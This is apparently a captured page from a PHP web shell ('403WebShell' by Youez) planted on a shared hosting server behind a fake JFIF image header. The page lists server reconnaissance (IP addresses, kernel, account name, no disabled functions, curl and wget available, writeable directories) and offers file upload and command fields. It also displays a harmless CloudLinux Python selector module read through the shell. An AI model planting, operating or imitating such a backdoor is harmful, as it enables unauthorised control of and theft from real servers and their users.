????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.231
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clselectpython/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clselectpython//__init__.py
# coding: utf-8
import errno
import glob
import os
import re
from subprocess import STDOUT, CalledProcessError, check_output
from typing import Dict

# Used both for config and some state like available_versions cache
# mainly because it's easier to put it in cagefs as a single dir
# We have symlink to that dir in /etc
# for ease of use the selector config and avoiding problem with cagefs

CONFIG_DIR = "/usr/share/l.v.e-manager/cl.python"

ALT_NAMES = "alt-python"
# It's also used to construct base_dir:
ALT_PYTHON_PREFIX = "/opt/alt/python"


class PythonError(Exception):
    """Top level error class for admin's part of Python selector"""

    pass


class PythonConfigError(PythonError):
    """Generic error class for PythonConfig"""

    pass


def create_config_dirs():
    try:
        os.makedirs(CONFIG_DIR)
    except OSError as e:
        if e.errno != errno.EEXIST:  # ignore only "File exists" error
            raise


def is_major_version(ver):
    """Return True if specified MAJOR version is valid for processing"""
    if not isinstance(ver, str):
        return False
    if not re.match(r"^\d+\.\d+$", ver):
        return False
    return True


def scan_python_versions() -> Dict[str, Dict[str, str]]:
    """
    Search CloudLinux Python interpreters and return information about them.

    Returns:
        Dictionary mapping major Python versions (e.g., "2.7", "3.9") to
        dictionaries containing the full version and root path.
    """
    result = {}

    for alt_python_folder in glob.glob(f"{ALT_PYTHON_PREFIX}*"):
        # Extract the folder name without path (e.g., "python27")
        folder_name = os.path.basename(alt_python_folder)

        # Extract version digits from folder name
        version_digits = "".join(filter(str.isdigit, folder_name))

        # Skip paths without at least 2 digits in the version - for them the version can't be determined
        # Primary example is alt-python-internal, see CLOS-3346
        if len(version_digits) < 2:
            continue

        # Format version as major.minor (e.g., "2.7" from "27")
        major_minor_version = f"{version_digits[0]}.{version_digits[1:]}"

        # Construct path to Python binary using os.path.join for cross-platform compatibility
        python_bin = os.path.join(alt_python_folder, "bin", f"python{major_minor_version}")

        if not os.path.isfile(python_bin):
            continue

        try:
            # Get full Python version string
            full_version_output = check_output([python_bin, "-V"], text=True, stderr=STDOUT)

            # Extract version number from output like "Python 3.9.10"
            parts = full_version_output.strip().split()
            if len(parts) >= 2:
                full_ver = parts[1]
                result[major_minor_version] = {
                    "full_version": full_ver,
                    "root_path": alt_python_folder,
                }
        except CalledProcessError:
            # Skip this interpreter if there's an error running it
            continue

    return result


__all__ = (
    "CONFIG_DIR",
    "ALT_NAMES",
    "ALT_PYTHON_PREFIX",
    "PythonError",
    "PythonConfigError",
    "create_config_dirs",
    "is_major_version",
    "scan_python_versions",
)

Youez - 2016 - github.com/yon3zu
LinuXploit